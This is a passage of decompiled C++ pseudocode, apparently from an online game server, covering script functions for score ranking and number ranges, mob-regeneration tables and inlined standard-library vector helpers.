basepoint; // [sp+10h] [bp-1A3Ch]@1 int i; // [sp+14h] [bp-1A38h]@14 PineScriptToken *v22; // [sp+18h] [bp-1A34h]@1 int v23; // [sp+1Ch] [bp-1A30h]@12 FunctionEntarance _; // [sp+20h] [bp-1A2Ch]@1 PineScriptToken token; // [sp+24h] [bp-1A28h]@1 PineScriptToken thisa; // [sp+124h] [bp-1928h]@3 char alkqr; // [sp+224h] [bp-1828h]@9 char ptr; // [sp+230h] [bp-181Ch]@25 char v29; // [sp+234h] [bp-1818h]@15 unsigned int v30; // [sp+1A3Ch] [bp-10h]@1 int v31; // [sp+1A48h] [bp-4h]@1 v30 = (unsigned int)&basepoint ^ __security_cookie; v22 = buffer; _.fe_FunctionCode = "PineEventScriptNode::SysFuncShineKQTop::sfb_Calculate"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineKQTop::sfb_Calculate"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::SysFuncShineKQTop::sfb_Calculate"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v31 = 0; basepoint = 0; PineScriptToken::pst_Clear(&token); LOBYTE(v31) = 1; PineEventScriptNode::ArgumentList::al_GetArgument(argumentlist, 2u, &token, ps); if ( PineScriptToken::operator__(&token, byte_635E1E) ) basepoint = PineScriptToken::pst_GetNumber(&token, 0); memcpy(&thisa, PineEventScriptNode::ArgumentList::al_GetArgument(argumentlist, 0, &token, ps), sizeof(thisa)); LOBYTE(v31) = 2; if ( PineScriptToken::operator__(&thisa, "ConditionOfHero") ) { v4 = AxialListKQResult::alkqr_Score_ConditionOfHero; LABEL_8: v5 = AxialListKQResult::defaultWorker; goto LABEL_9; } if ( PineScriptToken::operator__(&thisa, "NewConditionOfHero") ) { v4 = AxialListKQResult::alkqr_Score_Default; v5 = AxialListKQResult::zerosumWorker; goto LABEL_9; } v4 = AxialListKQResult::alkqr_Score_Default; v5 = AxialListKQResult::MatchingPKWorker; if ( !PineScriptToken::operator__(&thisa, "MatchingConditionOfHero") ) goto LABEL_8; LABEL_9: LOBYTE(v31) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&thisa); PineEventScriptNode::ArgumentList::al_GetArgument(argumentlist, 1u, &token, ps); AxialListKQResult::AxialListKQResult((AxialListKQResult *)&alkqr, v4, v5, basepoint, 0); v6 = *(void **)(*(_DWORD *)&ps->gap10114[4] + 77292); LOBYTE(v31) = 3; if ( v6 ) ShineObjectClass::ShineObject::so_AllInMap(v6, (int)&alkqr, 0); else AssertClass::ac_AssertFail(&shineassert, "Movie::Theater::t_AllInMap : Null flag", 0); AxialListKQResult::alkqr_CalcScore((AxialListKQResult *)&alkqr); v7 = gpp.pp_Buffer; v8 = gpp.pp_Buffer + 2; v9 = PineScriptToken::pst_GetNumber(&token, 0); AxialListKQResult::alkqr_MakeSimpleList((AxialListKQResult *)&alkqr, v22, (PROTO_NC_KQ_SCORE_SIMPLE_CMD *)v8, v9); *(_WORD *)v7 = 22561; v10 = (unsigned __int8)*v8; v23 = (unsigned __int8)*v8; v11 = v9; if ( v9 >= v10 ) v11 = v10; *v8 = v11; i = 0; if ( v10 > 0 ) { basepoint = (int)&v29; v12 = (int)(v8 + 34); do { v13 = *(_DWORD *)basepoint; if ( *(_DWORD *)basepoint && !(unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v13 + 768))(*(_DWORD *)basepoint) && (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v13 + 1152))(v13) && !(unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v13 + 1948))(v13) ) { v14 = 28 * (unsigned __int8)*v8; v8[5] = i; *(_DWORD *)(v8 + 14) = *(_DWORD *)(v12 + 8); *(_DWORD *)(v8 + 6) = *(_DWORD *)v12; *(_DWORD *)(v8 + 10) = *(_DWORD *)(v12 + 4); v15 = v14 + 20; if ( ProtocolPacket::pp_SetPacketLen(&gpp, v15) ) { v16 = (*(int (__thiscall **)(int))(*(_DWORD *)v13 + 764))(v13); (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v16 + 12))(v16, v13, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "PineEventScriptNode::SysFuncShineKQTop::sfb_Calculate : Packet Too Long", v15); } v10 = v23; } v12 += 28; v18 = __OFSUB__(i + 1, v10); v17 = i++ + 1 - v10 < 0; basepoint += 48; } while ( v17 ^ v18 ); } *(_DWORD *)&alkqr = &AxialListKQResult::_vftable_; LOBYTE(v31) = 4; _eh_vector_destructor_iterator_( &ptr, 0x30u, 128, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); LOBYTE(v31) = 1; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)&alkqr); LOBYTE(v31) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&token); --funcallanalizer.fca_stackpoint; v31 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineKQTop::sfb_Calculate"); __security_check_cookie((unsigned int)&basepoint ^ v30); return result; } // 651C90: using guessed type int (__stdcall *AxialListKQResult___vftable_)(int, int, int distancesquar); //----- (004CB120) -------------------------------------------------------- void __cdecl std::_Random_shuffle>::iterator_int>(std::vector >::iterator _First, std::vector >::iterator _Last, int *__formal) { int v3; // ebx@1 unsigned int i; // edi@1 int v5; // esi@2 int j; // eax@2 int v7; // edx@5 int v8; // ecx@5 int v9; // eax@5 v3 = *(_DWORD *)&_First + 4; for ( i = 2; v3 != _Last; *(_DWORD *)v9 = v8 ) { v5 = 32767; for ( j = rand() & 0x7FFF; v5 < i; j = (j << 15) | 0x7FFF ) { if ( v5 == -1 ) break; v5 = (v5 << 15) | 0x7FFF; } v7 = j % i; v8 = *(_DWORD *)v3; v3 += 4; ++i; v9 = *(_DWORD *)&_First + 4 * v7; *(_DWORD *)(v3 - 4) = *(_DWORD *)v9; } } //----- (004CB190) -------------------------------------------------------- #error "4CB190: undefined or illegal type '#1265' (funcsize=198)" //----- (004CB4A0) -------------------------------------------------------- #error "4CB4A0: undefined or illegal type '#1265' (funcsize=110)" //----- (004CB680) -------------------------------------------------------- #error "4CB680: undefined or illegal type '#1265' (funcsize=110)" //----- (004CB860) -------------------------------------------------------- void __cdecl std::random_shuffle>::iterator>(std::vector >::iterator _First, std::vector >::iterator _Last) { if ( _First != _Last ) std::_Random_shuffle>::iterator_int>( (std::vector >::iterator)_First, (std::vector >::iterator)_Last, 0); } //----- (004CB880) -------------------------------------------------------- void __thiscall std::vector>::_Xlen(std::vector > *this) { std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@1 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@1 int v3; // [sp+4Ch] [bp-4h]@1 thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "vector too long", 0x12u); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } // 689BF8: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (004CB8F0) -------------------------------------------------------- void __thiscall std::vector>::_Construct_n(std::vector > *this, unsigned int _Count, const int *_Val) { unsigned int v3; // edi@1 std::vector > *v4; // esi@1 void *v5; // eax@4 void *v6; // ecx@4 v3 = _Count; v4 = this; this->_Myfirst = 0; this->_Mylast = 0; this->_Myend = 0; if ( _Count ) { if ( _Count > 0x3FFFFFFF ) std::vector>::_Xlen(this); v5 = operator new(4 * _Count); v4->_Myend = (int *)((char *)v5 + 4 * _Count); v4->_Myfirst = (int *)v5; v4->_Mylast = (int *)v5; v6 = v5; if ( _Count > 0 ) { do { *(_DWORD *)v6 = *_Val; v6 = (char *)v6 + 4; --v3; } while ( v3 ); } v4->_Mylast = (int *)((char *)v5 + 4 * _Count); } } //----- (004CB960) -------------------------------------------------------- PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineRange::sfb_Calculate(PineEventScriptNode::SysFuncShineRange *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist) { PineScriptToken *v4; // eax@1 PineScriptToken *v5; // esi@2 PineScriptToken *result; // eax@2 int v7; // ebx@3 PineScriptToken *v8; // eax@3 PineScriptToken *v9; // esi@4 PineScriptToken *v10; // eax@5 unsigned __int16 v11; // ax@5 std::vector >::iterator v12; // edi@5 ArrGen v13; // ST10_8@6 void *v14; // ebx@6 std::vector >::iterator v15; // esi@10 int *i; // esi@13 PineScriptToken *v17; // eax@14 int _Val; // [sp+14h] [bp-234h]@5 int to; // [sp+18h] [bp-230h]@5 char numberVector; // [sp+1Ch] [bp-22Ch]@5 void *_First; // [sp+20h] [bp-228h]@6 std::vector >::iterator _Last; // [sp+24h] [bp-224h]@5 FunctionEntarance _; // [sp+2Ch] [bp-21Ch]@1 PineScriptToken token; // [sp+30h] [bp-218h]@1 DiceTaiSaiDividind v25; // [sp+130h] [bp-118h]@5 unsigned int v26; // [sp+234h] [bp-14h]@1 int v27; // [sp+244h] [bp-4h]@1 int v28; // [sp+248h] [bp+0h]@1 v26 = (unsigned int)&v28 ^ __security_cookie; _.fe_FunctionCode = "PineEventScriptNode::SysFuncShineRange::sfb_Calculate"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineRange::sfb_Calculate"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::SysFuncShineRange::sfb_Calculate"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v27 = 0; PineScriptToken::pst_Clear(&token); LOBYTE(v27) = 1; v4 = PineEventScriptNode::ArgumentList::al_GetArgument(argumentlist, 0, &token, ps); if ( ps_assert(v4 != 0, "PineEventScriptNode::SysFuncShineRange::sfb_Calculate : Argument err", 0) ) { v5 = PineScriptToken::pst_Clear(buffer); LOBYTE(v27) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&token); --funcallanalizer.fca_stackpoint; v27 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineRange::sfb_Calculate"); result = v5; } else { v7 = PineScriptToken::pst_GetNumber(&token, 0); v8 = PineEventScriptNode::ArgumentList::al_GetArgument(argumentlist, 1u, &token, ps); if ( ps_assert(v8 != 0, "PineEventScriptNode::SysFuncShineRange::sfb_Calculate : Argument err", 0) ) { v9 = PineScriptToken::pst_Clear(buffer); LOBYTE(v27) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&token); --funcallanalizer.fca_stackpoint; v27 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineRange::sfb_Calculate"); result = v9; } else { to = PineScriptToken::pst_GetNumber(&token, 0); _Val = 0; std::vector>::_Construct_n( (std::vector > *)&numberVector, to - v7 + 1, &_Val); LOBYTE(v27) = 2; v10 = PineEventScriptNode::ArgumentList::al_GetArgument(argumentlist, 2u, &token, ps); memcpy(&v25, PineScriptToken::pst_ToLower(v10), sizeof(v25)); LOBYTE(v27) = 3; v11 = PineScriptToken::operator__((PineScriptToken *)&v25, "asc"); v12 = _Last; if ( v11 ) { v13 = (ArrGen)__PAIR__(1, v7); v14 = _First; std::generate>::iterator_ArrGen>( (std::vector >::iterator)_First, _Last, v13); } else { if ( PineScriptToken::operator__((PineScriptToken *)&v25, "desc") ) { std::generate>::iterator_ArrGen>( (std::vector >::iterator)_First, v12, (ArrGen)__PAIR__(-1, to)); } else { if ( PineScriptToken::operator__((PineScriptToken *)&v25, "shuffle") ) { v15 = (std::vector >::iterator)_First; std::generate>::iterator_ArrGen>( (std::vector >::iterator)_First, v12, (ArrGen)__PAIR__(1, v7)); std::random_shuffle>::iterator>(v15, v12); } else { ps_assert(0, "PineEventScriptNode::SysFuncShineRange::sfb_Calculate : Invalid order", 0); } } v14 = _First; } LOBYTE(v27) = 2; ShineObjectClass::ShineMobileObject::smo_ChineCastCut(&v25); for ( i = (int *)v14; i != (int *)v12; ++i ) { v17 = PineScriptToken::pst_MergeNumber(buffer, *i); PineScriptToken::pst_MergeString(v17, (char *)&stru_63450C); } if ( v14 ) operator delete(v14); LOBYTE(v27) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&token); --funcallanalizer.fca_stackpoint; v27 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineRange::sfb_Calculate"); result = buffer; } } return result; } //----- (004CBC90) -------------------------------------------------------- void __thiscall PineScriptMobRegenerator::_PineScriptMobRegenerator(PineScriptMobRegenerator *this) { BTree::_BTree(&this->psmr_btree); } //----- (004CBCA0) -------------------------------------------------------- int __thiscall MobRegenStruct::RegenMobStruct::operator_(int this, int a2) { int result; // eax@1 int v3; // esi@1 signed int v4; // ebp@1 result = this; *(_DWORD *)this = *(_DWORD *)a2; *(_DWORD *)(this + 4) = *(_DWORD *)(a2 + 4); *(_DWORD *)(this + 8) = *(_DWORD *)(a2 + 8); *(_DWORD *)(this + 12) = *(_DWORD *)(a2 + 12); *(_DWORD *)(this + 16) = *(_DWORD *)(a2 + 16); v3 = this + 20; v4 = 33; do { *(_BYTE *)v3 = *(_BYTE *)(a2 - this + v3); ++v3; --v4; } while ( v4 ); *(_BYTE *)(this + 53) = *(_BYTE *)(a2 + 53); *(_BYTE *)(this + 54) = *(_BYTE *)(a2 + 54); memcpy((void *)(this + 55), (const void *)(a2 + 55), 0x30u); return result; } //----- (004CBD00) -------------------------------------------------------- MobRegenStruct::RegenMobStruct *__cdecl std::_Copy_opt(MobRegenStruct::RegenMobStruct *_First, MobRegenStruct::RegenMobStruct *_Last, MobRegenStruct::RegenMobStruct *_Dest, std::_Nonscalar_ptr_iterator_tag __formal) { MobRegenStruct::RegenMobStruct *v4; // esi@1 MobRegenStruct::RegenMobStruct *v5; // edi@2 MobRegenStruct::RegenMobStruct *result; // eax@4 v4 = _First; if ( _First == _Last ) { result = _Dest; } else { v5 = _Dest; do { MobRegenStruct::RegenMobStruct::operator_((int)v5, (int)v4); ++v4; ++v5; } while ( v4 != _Last ); result = v5; } return result; } //----- (004CBD40) -------------------------------------------------------- MobRegenStruct::RegenMobStruct *__cdecl std::_Copy_backward_opt(MobRegenStruct::RegenMobStruct *_First, MobRegenStruct::RegenMobStruct *_Last, MobRegenStruct::RegenMobStruct *_Dest, std::_Nonscalar_ptr_iterator_tag __formal) { MobRegenStruct::RegenMobStruct *v4; // esi@1 MobRegenStruct::RegenMobStruct *v5; // edi@2 MobRegenStruct::RegenMobStruct *result; // eax@4 v4 = _Last; if ( _First == _Last ) { result = _Dest; } else { v5 = _Dest; do { --v4; --v5; MobRegenStruct::RegenMobStruct::operator_((int)v5, (int)v4); } while ( v4 != _First ); result = v5; } return result; } //----- (004CBD80) -------------------------------------------------------- OptionReader *__thiscall KQRegenTable::operator__(KQRegenTable *this, const char *map) { KQRegenTable *v2; // esi@1 OptionReader *result; // eax@1 char key[4]; // [sp+8h] [bp-14h]@1 int v5; // [sp+Ch] [bp-10h]@1 int v6; // [sp+10h] [bp-Ch]@1 unsigned int v7; // [sp+18h] [bp-4h]@1 v2 = this; v7 = (unsigned int)key ^ __security_cookie; KQRegenTable::Element::Element((KQRegenTable::Element *)key); v6 = 0; v5 = 0; *(_DWORD *)key = 0; strncpy(key, map, 0xCu); result = (OptionReader *)bsearch(key, v2, v2->kqrt_Number, 0x10u, KQRegenTable::Element::Comp); if ( result ) result = *(OptionReader **)&result->or_Argument.delimiter.ord_Array[0]; return result; } //----- (004CBE10) -------------------------------------------------------- char *__thiscall PineScriptMobRegenerator::psmr_makeindex(PineScriptMobRegenerator *this, char *buffer, const char *map, const char *index) { const char *v4; // edx@1 const char v5; // cl@1 char *i; // eax@1 const char *v7; // edx@3 const char v8; // cl@3 int j; // eax@3 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "PineScriptMobRegenerator::psmr_makeindex"); v4 = map; funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineScriptMobRegenerator::psmr_makeindex"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = *map; for ( i = buffer; v5; ++v4 ) { *i = v5; v5 = v4[1]; ++i; } v7 = index; *i = 58; v8 = *index; for ( j = (int)(i + 1); v8; ++v7 ) { *(_BYTE *)j = v8; v8 = v7[1]; ++j; } *(_BYTE *)j = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "PineScriptMobRegenerator::psmr_makeindex"); return buffer; } //----- (004CBEA0) -------------------------------------------------------- void __cdecl std::fill(MobRegenStruct::RegenMobStruct *_First, MobRegenStruct::RegenMobStruct *_Last, MobRegenStruct::RegenMobStruct *_Val) { MobRegenStruct::RegenMobStruct *i; // esi@1 for ( i = _First; i != _Last; ++i ) MobRegenStruct::RegenMobStruct::operator_((int)i, (int)_Val); } //----- (004CBED0) -------------------------------------------------------- MobRegenStruct::RegenMobStruct *__cdecl std::_Uninit_copy>(MobRegenStruct::RegenMobStruct *_First, MobRegenStruct::RegenMobStruct *_Last, MobRegenStruct::RegenMobStruct *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { MobRegenStruct::RegenMobStruct *v5; // edx@1 MobRegenStruct::RegenMobStruct *result; // eax@1 v5 = _First; for ( result = _Dest; v5 != _Last; ++result ) { if ( result ) memcpy(result, v5, 0x67u); ++v5; } return result; } //----- (004CBF10) -------------------------------------------------------- void __cdecl std::_Uninit_fill_n>(MobRegenStruct::RegenMobStruct *_First, unsigned int _Count, MobRegenStruct::RegenMobStruct *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { unsigned int v5; // edx@2 void *v6; // eax@2 if ( _Count ) { v5 = _Count; v6 = _First; do { if ( v6 ) memcpy(v6, _Val, 0x67u); v6 = (char *)v6 + 103; --v5; } while ( v5 ); } } //----- (004CBF50) -------------------------------------------------------- MobRegenStruct::RegenMobStruct *__thiscall std::vector>::_Ucopy(std::allocator *_Al, MobRegenStruct::RegenMobStruct *_First, MobRegenStruct::RegenMobStruct *_Last, MobRegenStruct::RegenMobStruct *__formal) { return std::_Uninit_copy>( _First, _Last, __formal, _Al, (std::_Nonscalar_ptr_iterator_tag)__formal); } //----- (004CBF70) -------------------------------------------------------- MobRegenStruct::RegenMobStruct *__thiscall std::vector>::_Ufill(std::vector > *this, MobRegenStruct::RegenMobStruct *_Ptr, unsigned int _Count, MobRegenStruct::RegenMobStruct *_Val) { std::_Uninit_fill_n>( _Ptr, _Count, _Val, &this->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); return &_Ptr[_Count]; } //----- (004CBFA0) -------------------------------------------------------- void __thiscall std::vector>::_Xlen(std::vector > *this) { std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@1 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@1 int v3; // [sp+4Ch] [bp-4h]@1 thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "vector too long", 0x12u); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } // 689BF8: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (004CC010) -------------------------------------------------------- void __thiscall PineScriptMobRegenerator::RegenStruct::_RegenStruct(PineScriptMobRegenerator::RegenStruct *this) { PineScriptMobRegenerator::RegenStruct *v1; // esi@1 v1 = this; if ( this->rs_datas._Myfirst ) operator delete(this->rs_datas._Myfirst); v1->rs_datas._Myfirst = 0; v1->rs_datas._Mylast = 0; v1->rs_datas._Myend = 0; } //----- (004CC040) -------------------------------------------------------- bool __thiscall std::vector>::_Buy(std::vector > *this, unsigned int _Capacity) { std::vector > *v2; // esi@1 bool result; // al@2 void *v4; // eax@5 v2 = this; this->_Myfirst = 0; this->_Mylast = 0; this->_Myend = 0; if ( _Capacity ) { if ( _Capacity > (unsigned int)&wholesaver.ws_savestore[386].esc_abstate.buffer[9991] ) std::vector>::_Xlen(this); v4 = operator new(103 * _Capacity); v2->_Myend = (MobRegenStruct::RegenMobStruct *)((char *)v4 + 103 * _Capacity); v2->_Myfirst = (MobRegenStruct::RegenMobStruct *)v4; v2->_Mylast = (MobRegenStruct::RegenMobStruct *)v4; result = 1; } else { result = 0; } return result; } //----- (004CC090) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, MobRegenStruct::RegenMobStruct *_Val) { std::vector > *v4; // ebx@1 MobRegenStruct::RegenMobStruct *v5; // ecx@1 unsigned int v6; // edi@2 signed int v7; // edx@3 unsigned int v8; // eax@6 unsigned int v9; // eax@11 int v10; // edi@15 unsigned int v11; // eax@18 void *v12; // eax@22 MobRegenStruct::RegenMobStruct *v13; // ecx@22 MobRegenStruct::RegenMobStruct *v14; // ecx@22 unsigned int v15; // eax@23 unsigned int v16; // esi@25 MobRegenStruct::RegenMobStruct *v17; // edx@26 MobRegenStruct::RegenMobStruct *v18; // eax@26 void *v19; // eax@29 char *v20; // esi@29 MobRegenStruct::RegenMobStruct *v21; // ecx@30 unsigned int v22; // eax@30 MobRegenStruct::RegenMobStruct *v23; // ecx@31 MobRegenStruct::RegenMobStruct *v24; // ST24_4@31 char *v25; // eax@31 char *v26; // esi@31 MobRegenStruct::RegenMobStruct *v27; // eax@32 MobRegenStruct::RegenMobStruct *v28; // ecx@32 void *v29; // edx@32 int v30; // [sp+0h] [bp-90h]@1 void *_Newvec; // [sp+Ch] [bp-84h]@22 char *_Ptr; // [sp+10h] [bp-80h]@22 MobRegenStruct::RegenMobStruct _Tmp; // [sp+14h] [bp-7Ch]@1 unsigned int v34; // [sp+7Ch] [bp-14h]@1 int *v35; // [sp+80h] [bp-10h]@1 int v36; // [sp+8Ch] [bp-4h]@22 int v37; // [sp+90h] [bp+0h]@1 v4 = this; memcpy(&_Tmp, _Val, 0x64u); v5 = this->_Myfirst; *(_WORD *)((char *)&_Tmp.rms_regen.timedist[8] + 1) = *(_WORD *)((char *)&_Val->rms_regen.timedist[8] + 1); v34 = (unsigned int)&v37 ^ __security_cookie; v35 = &v30; BYTE3(_Tmp.rms_regen.timedist[8]) = BYTE3(_Val->rms_regen.timedist[8]); if ( v5 ) { v7 = (signed int)((unsigned __int64)((unsigned int)((char *)v4->_Myend - (char *)v5) * (signed __int64)(signed int)&unk_13E22CBD) >> 32) >> 3; v6 = v7 + ((unsigned int)v7 >> 31); } else { v6 = 0; } if ( _Count ) { if ( v5 ) v8 = ((signed int)((unsigned __int64)((unsigned int)((char *)v4->_Mylast - (char *)v5) * (signed __int64)(signed int)&unk_13E22CBD) >> 32) >> 3) + ((unsigned int)((unsigned __int64)((unsigned int)((char *)v4->_Mylast - (char *)v5) * (signed __int64)(signed int)&unk_13E22CBD) >> 32) >> 31); else v8 = 0; if ( (unsigned int)&wholesaver.ws_savestore[386].esc_abstate.buffer[-v8 + 9991] < _Count ) std::vector>::_Xlen(v4); if ( v5 ) v9 = ((signed int)((unsigned __int64)((unsigned int)((char *)v4->_Mylast - (char *)v5) * (signed __int64)(signed int)&unk_13E22CBD) >> 32) >> 3) + ((unsigned int)((unsigned __int64)((unsigned int)((char *)v4->_Mylast - (char *)v5) * (signed __int64)(signed int)&unk_13E22CBD) >> 32) >> 31); else v9 = 0; if ( v6 >= _Count + v9 ) { v21 = v4->_Mylast; v22 = ((signed int)((unsigned __int64)((unsigned int)((char *)v4->_Mylast - *(_DWORD *)&_Where) * (signed __int64)(signed int)&unk_13E22CBD) >> 32) >> 3) + ((unsigned int)((unsigned __int64)((unsigned int)((char *)v4->_Mylast - *(_DWORD *)&_Where) * (signed __int64)(signed int)&unk_13E22CBD) >> 32) >> 31); _Ptr = (char *)v4->_Mylast; if ( v22 >= _Count ) { _Newvec = &v21[-_Count]; v27 = std::_Uninit_copy>( &v21[-_Count], v21, v21, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Ptr); v28 = (MobRegenStruct::RegenMobStruct *)_Ptr; v29 = _Newvec; v4->_Mylast = v27; std::_Copy_backward_opt( *(MobRegenStruct::RegenMobStruct **)&_Where, (MobRegenStruct::RegenMobStruct *)v29, v28, (std::_Nonscalar_ptr_iterator_tag)_Ptr); std::fill( *(MobRegenStruct::RegenMobStruct **)&_Where, (MobRegenStruct::RegenMobStruct *)(*(_DWORD *)&_Where + 103 * _Count), &_Tmp); } else { _Ptr = (char *)(103 * _Count); std::_Uninit_copy>( *(MobRegenStruct::RegenMobStruct **)&_Where, v21, (MobRegenStruct::RegenMobStruct *)(*(_DWORD *)&_Where + 103 * _Count), &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)(103 * _Count)); v23 = v4->_Mylast; v24 = v4->_Mylast; v36 = 2; std::vector>::_Ufill( v4, v24, _Count - (((signed int)((unsigned __int64)((signed int)((char *)v23 - *(_DWORD *)&_Where) * (signed __int64)(signed int)&unk_13E22CBD) >> 32) >> 3) + ((unsigned int)((unsigned __int64)((signed int)((char *)v23 - *(_DWORD *)&_Where) * (signed __int64)(signed int)&unk_13E22CBD) >> 32) >> 31)), &_Tmp); v25 = _Ptr; v26 = &_Ptr[(unsigned int)v4->_Mylast]; v4->_Mylast = (MobRegenStruct::RegenMobStruct *)v26; std::fill( *(MobRegenStruct::RegenMobStruct **)&_Where, (MobRegenStruct::RegenMobStruct *)(v26 - v25), &_Tmp); } } else { if ( (unsigned int)&wholesaver.ws_savestore[386].esc_abstate.buffer[-(v6 >> 1) + 9991] >= v6 ) v10 = (v6 >> 1) + v6; else v10 = 0; if ( v5 ) v11 = ((signed int)((unsigned __int64)((unsigned int)((char *)v4->_Mylast - (char *)v5) * (signed __int64)(signed int)&unk_13E22CBD) >> 32) >> 3) + ((unsigned int)((unsigned __int64)((unsigned int)((char *)v4->_Mylast - (char *)v5) * (signed __int64)(signed int)&unk_13E22CBD) >> 32) >> 31); else v11 = 0; if ( v10 < _Count + v11 ) v10 = _Count + std::vector>::size(v4); v12 = operator new(103 * v10); v13 = v4->_Myfirst; _Newvec = v12; v36 = 0; _Ptr = (char *)std::_Uninit_copy>( v13, *(MobRegenStruct::RegenMobStruct **)&_Where, (MobRegenStruct::RegenMobStruct *)v12, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Ptr); std::_Uninit_fill_n>( (MobRegenStruct::RegenMobStruct *)_Ptr, _Count, &_Tmp, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Ptr); std::_Uninit_copy>( *(MobRegenStruct::RegenMobStruct **)&_Where, v4->_Mylast, (MobRegenStruct::RegenMobStruct *)&_Ptr[103 * _Count], &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Ptr); v14 = v4->_Myfirst; if ( v14 ) v15 = ((signed int)((unsigned __int64)((unsigned int)((char *)v4->_Mylast - (char *)v14) * (signed __int64)(signed int)&unk_13E22CBD) >> 32) >> 3) + ((unsigned int)((unsigned __int64)((unsigned int)((char *)v4->_Mylast - (char *)v14) * (signed __int64)(signed int)&unk_13E22CBD) >> 32) >> 31); else v15 = 0; v16 = v15 + _Count; if ( v14 ) { v17 = v4->_Mylast; v18 = v4->_Myfirst; if ( v14 != v17 ) { do ++v18; while ( v18 != v17 ); } operator delete(v4->_Myfirst); } v19 = _Newvec; v20 = (char *)_Newvec + 103 * v16; v4->_Myend = (MobRegenStruct::RegenMobStruct *)((char *)_Newvec + 103 * v10); v4->_Mylast = (MobRegenStruct::RegenMobStruct *)v20; v4->_Myfirst = (MobRegenStruct::RegenMobStruct *)v19; } } } //----- (004CC370) -------------------------------------------------------- void *__thiscall std::vector>::operator_(void *this, int __formal) { void *v2; // esi@1 int v3; // eax@2 signed int v4; // edx@3 int v5; // ecx@3 void *result; // eax@6 MobRegenStruct::RegenMobStruct *v7; // ebx@7 unsigned int v8; // eax@8 int v9; // eax@11 unsigned int v10; // eax@15 MobRegenStruct::RegenMobStruct *v11; // edi@18 unsigned int v12; // eax@21 v2 = this; if ( this == (void *)__formal ) return v2; v3 = *(_DWORD *)(__formal + 4); if ( v3 ) { v4 = (signed int)((unsigned __int64)((*(_DWORD *)(__formal + 8) - v3) * (signed __int64)(signed int)&unk_13E22CBD) >> 32) >> 3; v5 = v4 + ((unsigned int)v4 >> 31); if ( v5 ) { v7 = (MobRegenStruct::RegenMobStruct *)*((_DWORD *)v2 + 1); if ( v7 ) v8 = ((signed int)((unsigned __int64)((*((_DWORD *)v2 + 2) - (signed int)v7) * (signed __int64)(signed int)&unk_13E22CBD) >> 32) >> 3) + ((unsigned int)((unsigned __int64)((*((_DWORD *)v2 + 2) - (signed int)v7) * (signed __int64)(signed int)&unk_13E22CBD) >> 32) >> 31); else v8 = 0; if ( v5 <= v8 ) { std::_Copy_opt( *(MobRegenStruct::RegenMobStruct **)(__formal + 4), *(MobRegenStruct::RegenMobStruct **)(__formal + 8), v7, (std::_Nonscalar_ptr_iterator_tag)__formal); v9 = 